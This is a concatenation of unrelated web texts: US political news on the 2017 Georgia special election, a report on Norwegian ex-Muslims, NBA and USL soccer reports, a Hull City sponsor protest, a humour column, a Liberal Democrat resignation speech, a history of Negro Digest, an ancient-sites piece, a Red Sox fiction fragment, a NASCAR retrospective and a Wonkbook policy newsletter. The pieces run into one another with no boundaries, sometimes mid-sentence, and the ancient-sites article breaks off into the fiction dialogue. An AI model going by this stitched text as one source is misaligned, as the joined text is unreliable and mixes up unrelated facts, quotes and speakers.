“The individual who committed this terrible attack on two of our elders was held responsible for his crimes,” District Attorney Mike Ramos said in Wednesday’s statement. “While the pain for the victims’ family members will certainly last a lifetime, justice was served.Rep. Seth Moulton (D-Mass.) said Wednesday the loss of Jon Ossoff (D) in the Georgia 6th District special election runoff should be a sign that Democrats need to stop "rehashing" their loss in the 2016 presidential election and focus on the future.
"Ossoff Race better be a wake up call for Democrats — business as usual isn't working. Time to stop rehashing 2016 and talk about the future," Moulton tweeted.
#Ossof Race better be a wake up call for Democrats - business as usual isn't working. Time to stop rehashing 2016 and talk about the future. — Seth Moulton (@sethmoulton) June 21, 2017
Karen Handel, the Republican contender for the seat, won the election Tuesday night in what became the most expensive House race in history.
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Moulton said Democrats need to update their message, be more inclusive and have an encompassing job plan.
"We need a genuinely new message, a serious jobs plan that reaches all Americans, and a bigger tent not a smaller one. Focus on the future," he wrote.
We need a genuinely new message, a serious jobs plan that reaches all Americans, and a bigger tent not a smaller one. Focus on the future. — Seth Moulton (@sethmoulton) June 21, 2017
Democrats were not able to win any of the special elections to replace Trump's Cabinet members.
During his concession speech, Ossoff framed the Georgia race as the “beginning of something bigger.”
Moulton's tweets come as Democrats are turning their focus to the 2018 midterm elections and striving to take back the House.Many Norwegian citizens of foreign descent who have broken with Islam are living in fear of retaliation from their families and communities, participants in a conference on so-called "honor culture" in Oslo said.
During a public discussion in Literature House in Oslo, several masked men told their stories of hidden social control persisting in Muslim communities to dozens of spectators. By their own admission, they had to wear masks for fear of repercussions.
"I'm wearing a mask because I have to hide who I am. Otherwise, what I'm going to say will have very serious consequences for me," a man in his early twenties told Norwegian national broadcaster NRK, arguing that they would gladly discuss the "honor culture" openly, but did not dare.
The participants argued that the social control in Muslim communities across Norway is felt strongly by boys and men as well, even if it's generally much worse for girls. The social control revolves around personal issues, such as a person's circle of friends and beliefs.
By their own admission, the men broke secretly with Islam while in school. Today, they are still afraid of what can happen if the family or community finds out they are no longer believers.
"It would drag shame over the family. One can get frozen out, threatened. It may even be physical," a Pakistani-Norwegian man said, explaining that his parents blamed Norwegian society and school for "putting ideas into his head." "Some believe losing one's religion should be punished with the death penalty. We live in Norway, it's 2017. The fact that such things still exist is almost unimaginable," he said, arguing that religion should be a private matter.
The youngest of the participants, a Norwegian citizen of Somali background has still failed to tell his parents that he no longer believes in Allah for fear of repercussions.
"They would surely throw me out of the house, because I still live with them," he said.
Anita Farzaneh of the organization Secular Forum and one of the organizers of the debate, concurred that social control is a persistent problem for both boys and girls growing up in Muslim communities.
"Many people talk about social control and honor culture today, but nothing happens," Farzaneh said.
© AFP 2018 / DANIEL SANNUM LAUTEN Feminist Sharia? Poll Reveals Surprising Beliefs of Norwegian Muslims
According to Labor MP Jan Bøhler, the oppression of women is easier to see, because boys in immigrant communities are perceived to enjoy more freedom.
"Boys are not kept indoors in the same way, but they still have tight frames for their lives, including arranged marriages with a great deal of pressure," Jan Bøhler said, admitting the problem has been neglected by the authorities.
Earlier this year, the social group "Shameless Girls" was decorated with a Free Word Foundation prize for their "personal and courageous efforts to illuminate strong social control in minority environments." In their articles, the "Shameless Girls" highlighted problems such as genital mutilation, forced marriage and virginity checks.
Proud to have three brave young women from 🇳🇴Norway at #EU4Women colloquium in Brussels today. Live stream from 14:00 CET: https://t.co/9WYqWn8lvx #Skamløs pic.twitter.com/7DBfF1sqN5 — NorwayEU (@NorwayEU) November 20, 2017
Earlier, Red Cross Norway established a hotline for reporting forced marriage and FGM.Three-time NBA champion Dwyane Wade could join former teammate LeBron James on the Cleveland Cavaliers next season, according to a report.
Sources: Dwyane Wade leaning heavily toward Cavs, may have already picked LeBron reunion @clevelanddotcom https://t.co/NLFm6mma6o — Joe Vardon (@joevardon) September 26, 2017
If this is true, it means Wade picked Cleveland over the Oklahoma City Thunder (among others). OKC was seriously considered due to their talent and Wade’s friendship with Carmelo Anthony and Paul George – both of whom recruiting were recruiting the veteran shooting guard. Joe Vardon speculates that the 12-time All-Star may have made his choice already (via Cleveland.com):
“Wade is leaning heavily toward the Cavaliers as his new team once he clears waivers and may have already decided on a reunion with LeBron James… But a prominent league source outside of James’ circle with knowledge of Wade’s thinking told cleveland.com that Wade ‘has no intention of going anywhere else.'”
Wade has likely narrowed his choices to the Cavaliers, Thunder, San Antonio Spurs and Houston Rockets – as those are among the contenders that have shown serious interest in Wade and he has ties to individuals within those organizations.
However, Wade would have a starting gig with Cleveland and could contend for the NBA title as front-runners in the Eastern Conference.
LeBron James and Dwyane Wade have obviously talked throughout the summer. I'm told CLE has made it clear Wade would start if he signs. — Alex Kennedy (@AlexKennedyNBA) September 25, 2017
James, of course, was in contact with Wade during the offseason and the two spoke about potentially teaming up in Cleveland during the 2017-18 season.
At Cavaliers Media Day, James made it clear that he’d love for the squad to sign Wade (via Cleveland.com):
“I would love to have D-Wade a part of this team. I think he brings another championship pedigree, championship DNA. He brings another playmaker to the team who can get guys involved, can make plays and also has a great basketball mind.”
Both players could test free agency next summer, so it’s unclear how long either of them would stay with the Cavaliers (if Wade does indeed choose Cleveland).
Clearly, adding Wade would give Cleveland another weapon as they try to take down the reigning champion Golden State Warriors. A core of James, Wade, Kevin Love, Derrick Rose, Tristan Thompson and hopefully a healthy Isaiah Thomas among others would make for an intriguing team.Hull City saw one of their sponsors turn on them this weekend after a photoshoot opportunity was used as a platform to protest the club’s owners.
Wolds Engineering Service Limited was the main match sponsor at the Premier League club’s home fixture against Crystal Palace on Saturday (10 December), however rather than use the investment to market itself to the fans in attendance the Yorkshire-based company took aim at the unaffordable ticketing scheme which had recently been put in place.
Managing director of Wolds Engineering, John Oxley, took to the centre circle at the KCOM stadium ahead of kick-off for a photoshoot as part of the one-day sponsorship agreement with the club.
However, Oxley stunned officials when he unveiled a banner reading: “Bring back concessions. Hull City generation after generation. Allams out.”
The protest was directed at Hull City’s owners, Assem and Ehab Allam, who opted to replace the club’s season tickets with a new monthly scheme for this season, which does not feature concessions for either juniors or senior citizens.
Oxley, a lifelong fan of the club, was quickly ejected from the stadium but not before fans in attendance captured photos of the banner and shared it widely on social media.
Discussing the stunt, Oxley told the Hull Daily Mail: “There was a lot of soul-searching before I did it but it is something I feel that strongly about I felt I had to go through with it.”
The Allams’ ownership and financial backing has coincided with anger amongst fans who have been unhappy with new owners' attempts to change the club’s name to Hull Tigers and the fall out with managers Steve Bruce and Nick Barmby. The interference has made them unpopular figures with supporters and attendances have dwindled.
“I feel there is a bit of apathy among many Hull City fans, it’s as if it is accepted that the Allams are untouchable and nothing the fans do will make a difference. I wanted to show that’s not the case,” continued Oxley.
“The situation drives me to despair and I wanted to do something publicly that would put the spotlight on the situation. The national media don’t understand the situation and you see them on Match of the Day talking about empty seats, without any real concept of why we have (lower) gates than we did in the old fourth division 10 years ago.
“I’ve sponsored a game in December for over 10 years now and I knew this was my opportunity, but it wasn’t a decision I made easily.
Oxley added: “I was very nervous walking onto the pitch knowing what I was about to do. I’d gone to the extreme of wrapping the banner around myself before we went to the game in case I was searched and then I went to the toilet and took it off and stuffed it in my pocket ready to go on the pitch.
“I took a big risk but hopefully this can kick-start something among the fans again and hopefully raise the profile for City fans and increase the pressure on the owners.”In full disclosure, you should know that I love what technology can do for me. I love that it allows me to continue the Professor Hobo strips via a web site and Facebook page. I love that it allows me to share classic films with my wife via Netflix instant streaming. I love that my cell phone not only gives me directions when I’m in a new city, but also tells me where the closest Jamba Juice is, just in case. Each of these is something that technology, as a tool, allows me to do.
I hate technology for its own sake. Sure, I marvel at the newest inventions just like most others. When I see the new 3D high definition televisions rolling into Best Buy I’m as impressed as anyone, if not more so. But I also question, what is the end benefit here? Do I have any real desire to sit on my couch with a pair of 3D glasses on all to watch Charlie Rose? Not really, and I really like Charlie Rose. Like, really. It’s sort of unhealthy. Please respond to my fan mail, Mr. Rose.
This topic came to my mind while on vacation recently in Nashville, TN. While my cell phone guided my flawlessly to the Opry Mills Mall to meet a friend, it could not prepare me for the dumbstruck awe of the sight I was about to see. There, in the middle of the mall, was a Coke machine. Oh, but not any mere Coke machine. No, my friends, this was a touch screen Coke machine.
Allow that to seep in for a moment. It was a six-foot Coke Machine whose entire face was a touch screen video monitor. Where is the benefit in this? What can a touch screen allow me to do with a Coke machine that a normal model would not? I was intrigued. After playing around with the interface for a few moments, I came to the conclusion that it did two things. First, it allowed me to spin around a 360 degree model of the bottle. This was worthless. Second, it was far more cumbersome to “browse” the different sodas this particular machine offered. I actually had to scroll between two pages. Really.
Now, the marketers among you may argue that just getting me to stop was the whole worth of this machine, and you might have a point. I did buy a Coke later, though from a more mundane, traditional machine. But the cost of this setup, in a building that only sells Coke products to begin with, seems ridiculous and pointless. Coke might grab my attention once, but long term I’ll buy a Coke not because of a fancy interface, but because I’m thirsty. It’s technology for the sake of it.
On the other hand, I did just mention Coke ten times in an article that will be indexed by Google and increase its ranking as one of the most used terms on the Internet, thus increasing its brand value. You win this round, Coke (eleven).How To Keep Up With Your Literature
This short, 12 minute video shows you how to stay current with the literature in your field of expertise. It works for everyone in any discipline, and demonstrates a 5 step system that uses current technology to minimize time and maximize your learning.
My video is accompanied by a reference guide with details on the technique, as well as recommended hardware and software. Click here to download the pdf file.
This video is a sample of the type of content that will be presented at the Trauma Education: The Next Generation (TETNG) conference on September 4 in St. Paul, MN. All content presented at the conference will also have a downloadable reference guide.
For more information on TETNG, including live streaming and registration, click here.SACRAMENTO, Calif. – Sacramento Republic FC moved within a point of clinching a place in the 2017 USL Cup Playoffs as it ended Phoenix Rising FC’s 11-game undefeated streak with a 2-0 win in front of a sellout crowd of 11,569 at Papa Murphy’s Park on Saturday night. Sacramento got the opening goal in the 49th minute as Emrah Klimenta hit a perfect free kick just beyond Rising FC goalkeeper Josh Cohen and into the back of the net. It then quickly become 2-0 as Republic FC's Agustin Cazarez hit a shot from 25 yards powerfully along the ground, just out of Cohen’s reach just five minutes after the opener. Sacramento controlled possession from the opening whistle, a trend which continued throughout the match, apart from a brief passage in the first half when Phoenix had the bulk of its chances. Cohen continued his incredible form in the Phoenix net as he made a dive at full stretch after seeing the ball late off a header by Chris Christian from a Republic FC free kick, and also stopped a curling effort to keep the match scoreless at halftime. In the 76th minute Sacramento goalkeeper Evan Newton had to be at his best to keep his side two goals to the good as he made a stunning double-save from close range, which ended up proving vital in a big victory in Republic FC's regular-season home finale.
Scoring:
49’ – SAC – Emrah Klimenta
54’ – SAC – Agustin Cazarez (Villyan Bijev)
Three Things That Matter:
1. After a phenomenal goalkeeping run from Josh Cohen, who had recorded six clean sheets in the month of September, his shutout streak finally came to an end at the hands of Emrah Klimenta. The Republic FC captain's goal early in the second half ended a run of 416 minutes of soccer without conceding a goal by the Rising FC goalkeeper.
2. Republic FC dominated possession throughout the match, managing to hold more than 60 percent of the ball, which made life difficult for Phoenix. Sacramento did what many teams fail to do with so much possession and converted it into shots, managing eight, with three on target that proved the difference in the game.
3. With the loss, Rising FC's impressive run which has seen the club shoot up the USL Western Conference and become a real contender for the USL Cup came to an end. Phoenix's 11-game undefeated streak might be over, though, but as the side concluded a long road trip it will have to get back on the horse quickly as it takes on Tulsa Roughnecks FC at the Phoenix Rising FC on Wednesday night in the USL Game of the Week on ESPN3.
USLSoccer.com Man of the Match:
Agustin Cazarez, Sacramento Republic FC – Scoring the second goal capped an impressive night for Cazarez, who was clinical in his passing as he managed a 92.6 percent passing accuracy rate on his 50 passes, created one scoring chance in addition to his goal and also contributed in the back with three interceptions.In a passionate speech to her fellow Liberal Democrats Jo Shaw, a parliamentary candidate in the 2010 elections, tells them why she has to leave the party now that its leadership has abandoned the core principle of its existence.
This is the prepared statement delivered to the Liberal Democrat Party Spring Conference by Jo Shaw when she resigned from the party this morning. Six months ago the party members voted overwhelmingly to reject the Justice and Security Bill that will introduce secret courts into the UK. Despite this, at the instructions of Nick Clegg, their MPs voted for it. She called on the Conference to vote against the Bill once again and it did so overwhelmingly, hence the poignancy of her emphasis on democracy as well as liberalism.
“I’m a liberal and I’m against this sort of thing.” These are the words of the Liberal Harry Willcock. He said them as he refused to produce an ID card in 1950. His successful appeal against conviction led to the scrapping of the ID card system.
All Liberal Democrats should heed Harry Willcock’s mild but determined statement. It demonstrates his instinctive understanding that the excesses of the state need to be curtailed, and that it is a liberal’s duty to curtail them. It was no doubt for this reason that the then candidate for leader, Nick Clegg, named Harry Willcock as his liberal hero in an interview in 2007 with the Liberal Democrat History Group. Nick said at the time:
“The arguments of Willcock and the liberals of his day remain relevant. The Liberal Democrats continue to stand against an over-bearing state and are willing to take a stand for what we believe.”
In 2007 Nick was right and I voted for him then. The principled arguments he set out then can and are being made now by many people in this party about the Justice and Security Bill. This Bill provides neither justice nor security and attacks fundamental principles which underpin our justice system – openness and fairness to both parties.
The Justice and Security Bill sets the government above the law, shutting out the civilian opposition from knowing the case they must meet in order to obtain the truth about their torture and kidnap.
It attacks our basic constitutional rights.
It directly contradicts the core values of our party - fairness freedom and openness.
Since this party’s overwhelming rejection of the Bill in September our party leadership’s response has been like watching a car crash in slow motion.
The Bill now is a shambolic mess, and its progress through parliament a textbook case of political failure.
The Bill fails to deliver our party policy, set at our last Conference.
The Bill fails to deliver the amendments proposed by the Joint Committee on Human Rights.
The Bill fails to deliver the Lords amendments, and those which our backbenchers sought in Committee just last month.
The Bill fails to deliver the promises we were offered by the leadership in their amendment to the September motion calling for secret courts to be used “only as a last resort”.
This Bill did not form part of the coalition agreement, it was not in any party’s manifesto, and there is no credible economic argument to justify it.
So given this litany of political failure, why does our leadership continue to support this bad, undemocratic and illiberal Bill?
I don’t know.
I do know that the way of avoiding this car crash would have been for the party leadership to put a stop to it.
They could have done so at the outset, or since. They have failed.
Despite the principled objections of loyal party activists from all sides of this party the leadership has unilaterally decided that the protection of civil liberties is not a “red line” issue.
I’m afraid that is the situation the Liberal Democrats party is in today. Party members could not be clearer. The party leadership ignores them.
I joined this party to campaign for my values twelve years ago. A decade ago I was proud to march with our party leaders against the Iraq war ten years ago. I was proud to campaign as a parliamentary candidate for the Liberal Democrats in 2010. I knew then that I was campaigning with a party whose values and vision matched my own. I supported the coalition government because of the opportunity it offered to put our values into practice.
For me, therefore, today is a sad day at the end of a very sad week. Because I have come to the conclusion that I cannot continue to campaign to uphold values of fairness, freedom and openness from within the Liberal Democrats under its current leadership. A leadership for whom the privilege of power has meant the betrayal of liberal values.
The party which stood up against 42 day detention, ID cards and the excesses of the War on Terror is now led by those who on this crucial issue employ the same shoddy logic and who have fallen into the same anti-democratic realpolitik as the Blair government.
So I have to say: “It’s not me, Nick, it’s you.”
Therefore I am today resigning from the Liberal Democrat party.
Conference, the Justice and Security Bill is not in party’s name. We have made that clear. I hope despite my decision you will support this motion which is vitally important for the Lords debate to come later this month. And I fervently hope that eventually someone leads this party who will act according to liberal principle and scrap this Bill.
Because I am a liberal, and a democrat, and I am against this sort of thing.
For an analysis of the original Justice and Security legislation see: Tim Otty QC, as well as Peter Oborne; David David MP & Anthony Barnett, The Coming Dictatorship of Britain, on the Liberal Democrats, Henry Porter and for the links back to rendition and Guantanamo Aisha Maniar.The Negro Digest, later renamed Black World, was an African-American magazine founded in November 1942 by John H. Johnson. It was first published locally in Chicago, Illinois. The Negro Digest was similar to the Reader's Digest but aimed to cover positive stories about the African-American community.[1]
History [ edit ]
In 1942, when John H. Johnson sought financial backing for his first magazine project, he was unable to find any backers—black or white. From white bank officers to the editor of the National Association for the Advancement of Colored People's (NAACP) nonprofit publication, all agreed that a magazine aimed at a black audience had no chance for any kind of success. Johnson then worked at the Supreme Liberty Life Insurance Company and had the idea of funding the Negro Digest by writing everyone on their mailing list and soliciting a two-dollar, prepaid subscription, calculating that even a 15 percent response would give him the amount needed to publish the first issue. To obtain the five hundred dollars needed for postage to mail his letters, he had to use his mother's furniture as a security on a loan.[2] Johnson called the magazine The Negro Digest after the Readers Digest and reprinted articles by and about African-American scholars from the African-American and Caucasian media. It was edited by Ben Burns. Although called the Negro Digest, it usually contained reproductions of whole articles instead of digests.[1] The letter generated three thousand responses, and the first issue of Negro Digest was published in November 1942.
However, there were still obstacles to be overcome. Distributors were unwilling to put the periodical on their newsstands, for they too believed that it would not sell. Johnson persuaded his friends to haunt their neighborhood newsstands, demanding copies of Negro Digest. Joseph Levy, a magazine distributor, was impressed and formed an alliance with Johnson. He provided valuable marketing ideas and opened the doors that allowed Negro Digest to hit the newsstands in other urban centers. The very first issue of The Negro Digest sold about 3,000 copies. Additionally, over the course of six months the magazine published close to 50,000 copies per month. One of the most interesting and well known columns in the magazine was entitled "If I Were a Negro." [3] This column concentrated strongly on the unsolicited advice that the African-American race had received, by asking prominent citizens mainly of the white race for resolution to unsolved black problems. As a result of First Lady Eleanor Roosevelt's contribution to the popular column "If I Were a Negro," the copies sold doubled overnight. Following the year of 1945, John H. Johnson created other African-American magazines including both Ebony and Jet. As a result of the publication of these two magazines, the circulation of The Negro Digest tended to decline. According to a New York Times article, it soon became unprofitable and ceased publication in 1951.[4]
Rebirth [ edit ]
After the failure of the magazine in 1951, Johnson, alongside Hoyt W. Fuller, revived the magazine and gave it a different spin in the early 1960s. In 1970, the periodical was renamed Black World to more accurately reflect the range of its audience, which extended to Africa and much of the African diaspora. Black World reflected Fuller's concerns with politics, social action, the spiritual and economic health of the black world, as well as a broad view of artistic expression. Despite its audience, the magazine was open to any ideas and opinions.[5] By 1970, a typical issue contained approximately eight articles, a couple of short stories, poems, and a section called “Perspectives”, which was a collection of cultural information prepared by Fuller.[4] A short reflective essay by Fuller frequently occupied the back cover. In 1976, Black World was abruptly terminated by the publisher, occasioning widespread protest in the Black Arts community.
Impact [ edit ]
Although Negro Digest/Black World gave way to other African-American magazines such as Ebony, Jet and Essence, it significantly impacted the Black Arts Movement of the 1960s and early '70s, and as well as literary work showcased reproductions of artworks. In the words of Chris Brancaccio: "Negro Digest/Black World is a fascinating artifact because the content of each issue seems to evade rigid binaries like integrationist or nationalist, and therefore became a very real space for public debate. For instance, the November 1966 issue contains an article entitled Black Power Symposium [and] features 12 different opinions on Black Power, offered by a diverse group of black individuals ranging from Conrad Kent Rivers, founder of Organization of Black American Culture (OBAC), to Anita Cornwell, a writer and former state employee, to Dudley Randall, founder of Broadside Press but also a librarian and poet.... Negro Digest/Black World constitutes a massive archive. A renewed scholarly interest in these periodicals offers new perspectives and could profoundly change the way we consider the Black Arts Movement and Black activism during this period."[6]
Contributors and writers [ edit ]From ancient cisterns and water systems to mysterious caves, underground crypts, subterranean temples and even entire cities built beneath the earth, what our ancient ancestors have achieved is both mind-boggling and breathtaking. Here we feature ten incredible ancient sites that can be found underground.
The amazing subterranean Basilica Cistern
Hidden beneath the city of Istanbul, Turkey, are hundreds of ancient cisterns that stored and supplied water to its inhabitants in the ancient past. The largest of these is the Basilica Cistern. So spectacular is the cistern that one could easily mistake it for a sacred subterranean temple. The Cistern is located just 150m southwest of the famous Haghia Sophia, and was built by the Byzantine emperor, Justinian I, in A.D. 532. It is 138 m in length and 64.6 m in width, covering an area of almost 1,000 square metres. This cistern is capable of holding up to 80,000 cubic metres of water. An incredible work effort went into its construction, with 336 marble columns supporting the structure. It is said that the majority of these columns were recycled from older buildings (a process known as ‘spoliation’), possibly brought to what was then Constantinople from the various parts of the Byzantine Empire, as well as those used for the construction of the Hagia Sophia. Perhaps the most iconic example of spoliation is the re-use of the heads of Medusa as the bases of two columns located in the northwest corner of the cistern. According to tradition, the heads were oriented sideways and inverted to counter the power |
man. "Winners in 2004, winners in 2007, I like it."
"They're gonna win again this year," said the old man. "Then it's three World Series in the last ten seasons. What are they, the Yankees?"
"Would that be so bad?" the young man said.
"Bite your tongue," said the old man.
"No, really," the young man said. "What's the matter with the Red Sox winning? It's fun."
"Fun," said the old man. "I guess. If you're in it for the fun, fine. What I remember is Carl Yastrzemski pops up. Bill Lee tosses a balloon that Tony Perez hits about four miles. Bob Stanley throws a wild pitch. Or it's a passed ball on Rich Gedman. Doesn't matter. It was always the same, even if it was different each time."
"You're a glutton for punishment," the young man said.
"What I am, I'm a Red Sox fan. Or I was. Now, I don't know. I don't recognize 'em, especially now they're gonna win the World Series again."
"Maybe they won't," said the young man.
"Nah, they're gonna win," the old man said. He stood up and flexed his knee. Sitting made it stiff. "I'm hungry," he said. "You got anything in the refrigerator there?"
"Gall and wormwood," the young man said.
"Okay," said the old man.
"Savor it," said the young man.
"It used to be I could," the old man said.September 26, 2017
Seth and Sutton Sharp
After the 1992 Winston Cup season handed fans one of, if not the best, championship battle of all time, all eyes were on the 1993 season to see what it would bring.
A few races into the season, it took a tragic turn as defending Winston Cup champion Alan Kulwicki lost his life in a plane crash, three days before the Winston Cup race at Bristol. Rusty Wallace won the emotional event and honored Kulwicki, the defending race winner of the event, after his win by doing a “Polish Victory Lap”. In Victory Lane, Wallace “I said I was going to try to win this for Alan. I looped that baby around, I did the Alan Kulwicki Victory Lap and I was so proud for him. We miss him bad.”
As everyone in the NASCAR community was mourning the loss of Alan, tragedy struck again in July as a helicopter crash claimed the life of Davey Allison. Just as Wallace did following the passing of Kulwicki, Dale Earnhardt honored the fallen drivers after his win in the Miller Genuine Draft 500 at Pocono.
After sitting at the start/finish line with his team in prayer, Earnhardt completed a Polish Victory Lap, while holding a No. 28 flag out of his window. Earnhardt climbed from his No. 3 Chevrolet in Victory Lane, with the No. 28 flag in hand, waving it as the crowd erupted. “All of this is in the memory of Davey. I’d run second to him in a minute if it would bring him back. We miss Davey a lot. We miss Alan a lot.”
It was fitting that the two drivers who capped off emotional weekends with a victory, were the two drivers battling it out for a championship. Earnhardt took over the points lead after the 10th race of the season but Wallace stayed close. He continued to close the gap over the next 14 races, capped off with back-to-back wins, as the Series arrived at Martinsville in September.
In the season full of tragedy, qualifying for the Goody’s 500 put a few smiles back in the Winston Cup Series garage. Ernie Irvan, driving in his fourth race for Robert Yates in the No. 28, won the pole for the event, edging out Geoff Bodine, who recently purchased the assets to Kulwicki’s team.
The No. 28 and the No. 7 led the field to the green flag, bringing back memories of Allison and Kulwicki to all those watching.
When the green flag waved, Bodine quickly jumped out front, leading the first 32 laps before the No. 28 took control. Irvan dominated the event, leading 402 of the 500 laps, taking the No. 28 back to Victory Lane for the first time since Allison won at Richmond in March.
After the race, Irvan climbed from his car in Victory Lane, pulling down his uniform to show off a t-shirt honoring Allison. Irvan was visibly emotional and exhausted following his victory. “Everyone had their own idea on what they wanted to do in Victory Lane. I’ve been wearing this shirt since I started driving this car and I knew we could do it. This one is for Davey.”
As for the championship battle, Earnhardt edged out Wallace by 80 points to capture his 6th career title.Welcome to Wonkbook, Ezra Klein and Evan Soltas's morning policy news primer. To subscribe by e-mail, click here. Send comments, criticism, or ideas to Wonkbook at Gmail dot com. To read more by Ezra and his team, go to Wonkblog.
(Photo by Susan Walsh/AP)
Let's try to keep two things in mind simultaneously: The IRS does need some kind of test that helps them weed out political organizations attempting to register as tax-exempt 501(c)4 social welfare groups. But that test has to be studiously, unquestionably neutral.
The story thus far seems both chilling and cheering. Employees at the agency's Cincinnati branch did employ a test that, in effect, targeted tea party groups. Whether they meant it to be discriminatory or they simply created one that was discriminatory is in contention, but ultimately immaterial. The IRS, more so than almost any other agency, must act in ways above reproach.
But when the Cincinnati group explained their test to IRS exempt organizations division chief Lois G. Lerner, she objected to it and it was changed. A few months later, the IRS would release new guidance that suggested scrutinizing “political action type organizations involved in limiting/expanding Government, educating on the Constitution and Bill of Rights, social economic reform movement,” and after that, “organizations with indicators of significant amounts of political campaign intervention (raising questions as to exempt purpose and/or excess private benefit.)”
The context for all this is that after Citizens United and some related decisions, the number of groups registering as 501(c)4s doubled. Because the timing of that doubling coincided with a rise in political activism on the right rather than the left, a lot of the politicized groups attempting to register as 501(c)4s were describing their purpose in tea party terms. A popular conceit, for instance, was that they existed to educate on the Constitution -- even if the particular pedagogical method meant participating in Republican Party primaries and pressuring incumbent politicians.
In looking for that kind of language in 2010, the Cincinnati employees were attempting to create a usable shortcut. Like Willie Sutton robbing banks, they were going where the action was. But they needed a clearer test that also identified the language of the left, even if left-leaning groups weren't exhibiting the same surge in activism. And, frankly, it shouldn't have been left to career employees in Cincinnati. The IRS needed clearer rules coming from the top. But the top didn't know what to do with these 501(c)4s, in part because it feared a situation precisely like this one.
It is worth remembering an important fact here: The IRS is supposed to reject groups that are primarily political from registering as 501(c)4s. If they're going to do that, then they need some kind of test that helps them flag problematic applicants. And that test will have to be a bit impressionistic. It will mean taking the political rhetoric of the moment and watching for it in applications. It will require digging into the finances and activities of groups on the left and the right that seem to be political even as they're promising their activities are primarily non-political.
If we're not comfortable with that, then we need to either loosen the definition of 501(c)4s or create a new designation that gives explicitly political groups the benefits of the 501(c)4s (namely, they don't have to pay taxes and they can keep their donors anonymous). But either way, as I wrote on Friday, the only way to make sure this doesn't keep happening is for the IRS -- or the Congress and White House that control it -- to make some tough decisions about 501(c)4s.
Wonkbook's Number of the Day: 52 percent. That's the amount by which sequestration has reduced the value of the Pentagon's new contracts relative to last month. It's down 22 percent from a year earlier, also.
Wonkblog's Graphs of the Day: The job-seekers ratio.
Wonkbook's Top 5 Stories: 1) The mess at the IRS; 2) implementing Obamacare; 3) the long wake of the financial crisis; 4) who wants immigration; and 5) next up for monetary policy.
1. Top story: The mess at the IRS
IRS targeted right-leaning groups, documents show. "At various points over the past two years, Internal Revenue Service officials singled out for scrutiny not only groups with “tea party” or “patriot” in their name but also nonprofit groups that criticized the government and sought to educate Americans about the U.S. Constitution, according to documents in an audit conducted by the agency’s inspector general. The documents, obtained by The Washington Post from a congressional aide with knowledge of the findings, show that the IRS field office in charge of evaluating applications for tax-exempt status decided to focus on groups making statements that “criticize how the country is being run” and those that were involved in educating Americans “on the Constitution and Bill of Rights.”" Juliet Eilperin in The Washington Post.
Explainer: 5 unanswered questions for the IRS. Lauren French in Politico.
Conservatives have seized on it. "[T]he accusations of I.R.S. abuse are sure to fuel an effort that appears to be uniting dispirited Republicans and their conservative political base: investigating Mr. Obama and his administration. Republicans are pushing a portrayal of an administration overreaching its authority and punishing its enemies." Jonathan Weisman in The New York Times.
The backstory. "Tax-exempt social-welfare groups organized under section 501(c)(4) of the Internal Revenue Code are allowed to engage in some political activity, but the primary focus of their efforts must remain promoting social welfare. That social-welfare activity can include lobbying and advocating for issues and legislation, but not outright political-campaign activity. But some of the rules leave room for IRS officials to make judgment calls and probe individual groups for further information. Organizing as such a group is desirable, not just because such entities typically don't have to pay taxes, but also because they generally don't have to identify their donors." John D. McKinnon and Siobhan Hughes in The Wall Street Journal.
What the scrutiny meant. "Those tea-party organizations were sent letters of inquiry demanding information that would seldom if ever be demanded of any other applicant in the process. The IRS demanded lists of donors, names of spouses and family members, detailed information about political views and associations — all of that 'under penalties of perjury.' Many applicants dropped out of the process. The questions were remarkably invasive: For example, the IRS demanded to know not only whether political candidates participated in public forums conducted by the groups, but which issues were discussed, along with copies of any literature distributed at the forum and material published on websites." Kevin Williamson in the National Review.
The IRS should've been going after many, many more 501(c)4s. "The problem wasn’t that the IRS was skeptical of tea party groups registering as 501(c)4s. It’s that it hasn’t been skeptical of Organizing for America, Crossroads GPS, Priorities USA and Heritage Action Fund registering as 501(c)4s. The IRS should be treating all these groups equally and appropriately — which would mean much more harshly. Instead, the IRS has permitted 501(c)4s to grow into something monstrous. And if they cower in the aftermath of this embarrassment, it might make matters even worse." Ezra Klein in The Washington Post.
Architectural interlude: 10 buildings that changed America.
Top op-eds
CAMERON: A US-UK trade agenda. "An EU-U.S. deal is just one building block of a more dynamic world economy. If G-8 countries complete all of their current trade deals and those in the pipeline, it could boost the income of the whole world by more than $1 trillion...But as we free up the world economy, we must make sure openness delivers the benefits it should for rich economies and developing countries alike. That means consistent and fair rules for the global economy." David Cameron in The Wall Street Journal.
STIGLITZ: Curb intellectual property rights. "More broadly, there is increasing recognition that the patent system, as currently designed, not only imposes untold social costs, but also fails to maximize innovation...[I]t is why research shows that patenting genes actually reduces the production of new knowledge about genes: The most important input in the production of new knowledge is prior knowledge, to which patents inhibit access." Joseph Stiglitz in Slate.
REINHARDT: American health care as a source of humor. "[T]he health system in the United States is in many ways so risible that it comes across as droll even when a dour German-born economist describes it...Under the mantra that rules American health care, that “one size does not fit all” — this, in a country that invented one-size-fits-all franchising like McDonald’s and Holiday Inn — the structure and detail of chargemasters are hospital-specific and vary considerably among hospitals." Uwe Reinhardt in The New York Times.
STUCKLER AND BASU: How austerity kills. "In the United States, the suicide rate, which had slowly risen since 2000, jumped during and after the 2007-9 recession. In a new book, we estimate that 4,750 “excess” suicides — that is, deaths above what pre-existing trends would predict — occurred from 2007 to 2010. Rates of such suicides were significantly greater in the states that experienced the greatest job losses. Deaths from suicide overtook deaths from car crashes in 2009." David Stucker and Sanjay Basu in The New York Times.
DIONNE: Raising the political heat on gun control. "Politicians who tout themselves as advocates of law and order don’t want to be unmasked as caring even more about their ratings from gun lobbyists. And opponents of the most moderate gun reforms engage in a shameless game of bait-and-switch. Because measures such as background checks would not stop every murder, they’re declared useless even though they’d still save lives. Then the gun lobby turns around and opposes other measures, such as a ban on high-capacity magazines, which could prevent some of the killings that background checks might not." E.J. Dionne in The Washington Post.
SOLTAS: The Fed's next moves. "What news and what sorts of numbers will convince its members that they can withdraw stimulus -- or that they need to extend or even boost their injections?...They could be looking for three to six months of growth in payroll employment of 200,000 or more each month. That could be the “substantial improvement in the labor market” they have in mind." Evan Soltas in Bloomberg.
KONCZAL: The case for a universal basic income. "First, what are some advantages of providing a universal basic income? To those on the left, a UBI would create greater equality by ending poverty and providing a minimum living standard. It would also increase bargaining power for workers, who could demand better working conditions with a safety cushion." Mike Konczal in The Washington Post.
